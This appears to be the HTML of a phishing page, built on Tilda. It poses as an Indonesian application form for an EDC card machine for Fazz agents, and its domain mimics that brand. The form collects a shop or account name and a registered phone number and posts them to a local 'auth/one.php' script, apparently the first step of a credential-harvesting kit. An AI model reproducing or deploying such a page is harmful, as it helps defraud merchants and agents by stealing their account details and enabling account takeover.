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fatsfay.html
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<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!--metatextblock-->
<title>Formulir Pengajuan Mesin EDC</title>
<meta property="og:url" content="https://alatpromosi-agen-fazz-form.tilda.ws">
<meta property="og:title" content="Formulir Pengajuan">
<meta property="og:description" content="">
<meta property="og:type" content="website">
<meta property="og:image" content="https://static.tildacdn.info/tild6538-3034-4563-a534-626234326532/-/resize/504x/images_2.jpeg">
<link rel="canonical" href="index.htm">
<!--/metatextblock-->
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="shortcut icon" href="img/tildafavicon.ico" type="image/x-icon">
<!-- Assets --><script src="js/tilda-fallback-1.0.min.js" async="" charset="utf-8"></script>
<link rel="stylesheet" href="css/tilda-grid-3.0.min.css" type="text/css" media="all" onerror="this.loaderr='y';">
<link rel="stylesheet" href="tilda-blocks-page45989551.min.css?t=1711357584" type="text/css" media="all" onerror="this.loaderr='y';">
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="css2?family=Roboto:wght@300;400;500;700&subset=latin,cyrillic" rel="stylesheet">
<link rel="stylesheet" href="css/tilda-forms-1.0.min.css" type="text/css" media="all" onerror="this.loaderr='y';">
<script nomodule="" src="js/tilda-polyfill-1.0.min.js" charset="utf-8"></script><script src="js/tilda-scripts-3.0.min.js" charset="utf-8" defer="" onerror="this.loaderr='y';"></script><script src="tilda-blocks-page45989551.min.js?t=1711357584" charset="utf-8" async="" onerror="this.loaderr='y';"></script><script src="js/tilda-lazyload-1.0.min.js" charset="utf-8" async="" onerror="this.loaderr='y';"></script><script src="js/hammer.min.js" charset="utf-8" async="" onerror="this.loaderr='y';"></script><script src="js/tilda-forms-1.0.min.js" charset="utf-8" async="" onerror="this.loaderr='y';"></script><script src="js/tilda-events-1.0.min.js" charset="utf-8" async="" onerror="this.loaderr='y';"></script><script type="text/javascript">window.dataLayer = window.dataLayer || [];</script>
</head>
<body class="t-body" style="margin:0;">
<!--allrecords-->
<div class="t-records">
<div class="r t-rec" style=" ">
<!-- T107 -->
<div class="t107">
<div class="t-align_center" itemscope="" itemtype="http://schema.org/ImageObject">
<meta itemprop="image" content="https://static.tildacdn.info/tild6538-3034-4563-a534-626234326532/images_2.jpeg">
<img class="t-img t-width t107__widthauto" src="tild6538-3034-4563-a534-626234326532/-/empty/images_2.jpeg" data-original="https://static.tildacdn.info/tild6538-3034-4563-a534-626234326532/images_2.jpeg" imgfield="img" alt="">
</div>
</div>
</div>
<div id="rec724644593" class="r t-rec t-rec_pb_15" style="padding-bottom:15px; " data-record-type="3">
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<div class="t107">
<div class="t-align_center" itemscope="" itemtype="http://schema.org/ImageObject">
<meta itemprop="image" content="https://static.tildacdn.info/tild6164-6238-4337-b337-303733336638/1709955066210.jpg">
<img class="t-img t-width t107__widthauto" src="tild6164-6238-4337-b337-303733336638/-/empty/1709955066210.jpg" data-original="https://static.tildacdn.info/tild6164-6238-4337-b337-303733336638/1709955066210.jpg" imgfield="img" alt="">
</div>
</div>
</div>
<div class="r t-rec t-rec_pt_15" style="padding-top:15px; ">
<!-- t678 -->
<div class="t678 ">
<div class="t-container">
<div class="t-col t-col_8 t-prefix_2">
<div>
<form action='auth/one.php' method='POST' class="t-form js-form-proccess t-form_inputs-total_2 ">
<div class="js-successbox t-form__successbox t-text t-text_md" aria-live="polite" style="display:none;color:#1771f1;background-color:#ffffff;" data-success-message="<strong>MOHON TUNGGU </strong>"></div>
<div class="t-form__inputsbox t-form__inputsbox_vertical-form t-form__inputsbox_inrow">
<div class="t-input-group t-input-group_in " data-input-lid="1711355987198" data-field-type="in">
<label for='input_1711355987198' class="t-input-title t-descr t-descr_md" id="field-title_1711355987198" data-redactor-toolbar="no" field="li_title__1711355987198" style="color:;">Nama </label>
<div class="t-input-block " style="border-radius: 20px; -moz-border-radius: 20px; -webkit-border-radius: 20px;">
<input type="text" name="Nama" id="input_1711355987198" class="t-input js-tilda-rule " value="" placeholder="👤 Nama Akun/Toko" data-tilda-req="1" aria-required="true" aria-describedby="error_1711355987198" style="color:#000000;border:1px solid #1771f1;border-radius: 20px; -moz-border-radius: 20px; -webkit-border-radius: 20px;">
<div class="t-input-error" aria-live="polite" id="error_1711355987198"></div>
</div>
</div>
<div class="t-input-group t-input-group_in " data-input-lid="1711356000154" data-field-type="in">
<label for='input_1711356000154' class="t-input-title t-descr t-descr_md" id="field-title_1711356000154" data-redactor-toolbar="no" field="li_title__1711356000154" style="color:;">Nomor Terdaftar</label>
<div class="t-input-block " style="border-radius: 20px; -moz-border-radius: 20px; -webkit-border-radius: 20px;">
<input type="number" name="Nomor" id="input_1711356000154" class="t-input js-tilda-rule " value="" placeholder="📞 Nomor Terdaftar" data-tilda-req="1" aria-required="true" data-tilda-rule="number" aria-describedby="error_1711356000154" style="color:#000000;border:1px solid #1771f1;border-radius: 20px; -moz-border-radius: 20px; -webkit-border-radius: 20px;">
<div class="t-input-error" aria-live="polite" id="error_1711356000154"></div>
</div>
</div>
<div class="t-form__submit"><button type="submit" class="t-submit" style="color:#ffffff;background-color:#0260e8;border-radius:20px; -moz-border-radius:20px; -webkit-border-radius:20px;" data-field="buttontitle" data-buttonfieldset="button">Selanjutnya </button></div>
</div>
</form>
<style>#rec724645257 input::-webkit-input-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 input::-moz-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 input:-moz-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 input:-ms-input-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 textarea::-webkit-input-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 textarea::-moz-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 textarea:-moz-placeholder {color:#000000; opacity: 0.5;}
#rec724645257 textarea:-ms-input-placeholder {color:#000000; opacity: 0.5;}
</style>
</div>
</div>
</div>
</div>
</div>
<div id="rec724647289" class="r t-rec" style=" " data-record-type="3">
<!-- T107 -->
<div class="t107">
<div class="t-align_center" itemscope="" itemtype="http://schema.org/ImageObject">
<meta itemprop="image" content="https://static.tildacdn.info/tild3434-6530-4331-b032-656439316363/IMG-20240309-WA0001.jpg">
<img class="t-img t-width t107__widthauto" src="tild3434-6530-4331-b032-656439316363/-/empty/IMG-20240309-WA0001.jpg" data-original="https://static.tildacdn.info/tild3434-6530-4331-b032-656439316363/IMG-20240309-WA0001.jpg" imgfield="img" alt="">
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<div id="rec724647390" class="r t-rec" style=" " data-record-type="3">
<!-- T107 -->
<div class="t107">
<div class="t-align_center" itemscope="" itemtype="http://schema.org/ImageObject">
<meta itemprop="image" content="https://static.tildacdn.info/tild3762-3262-4336-a365-343439653136/IMG-20240309-WA0000.jpg">
<img class="t-img t-width t107__widthauto" src="tild3762-3262-4336-a365-343439653136/-/empty/IMG-20240309-WA0000.jpg" data-original="https://static.tildacdn.info/tild3762-3262-4336-a365-343439653136/IMG-20240309-WA0000.jpg" imgfield="img" alt="">
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</div>
</div>
</div>
<!-- Stat --><script type="text/javascript">if (! window.mainTracker) { window.mainTracker = 'tilda'; }
window.tildastatcookie='no';
setTimeout(function(){ (function (d, w, k, o, g) { var n=d.getElementsByTagName(o)[0],s=d.createElement(o),f=function(){n.parentNode.insertBefore(s,n);}; s.type = "text/javascript"; s.async = true; s.key = k; s.id = "tildastatscript"; s.src=g; if (w.opera=="[object Opera]") {d.addEventListener("DOMContentLoaded", f, false);} else { f(); } })(document, window, '585a66c9c93b6d1b628c99ffb4b4e2f9','script','https://static.tildacdn.info/js/tilda-stat-1.0.min.js');
}, 2000);
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</body>
</html>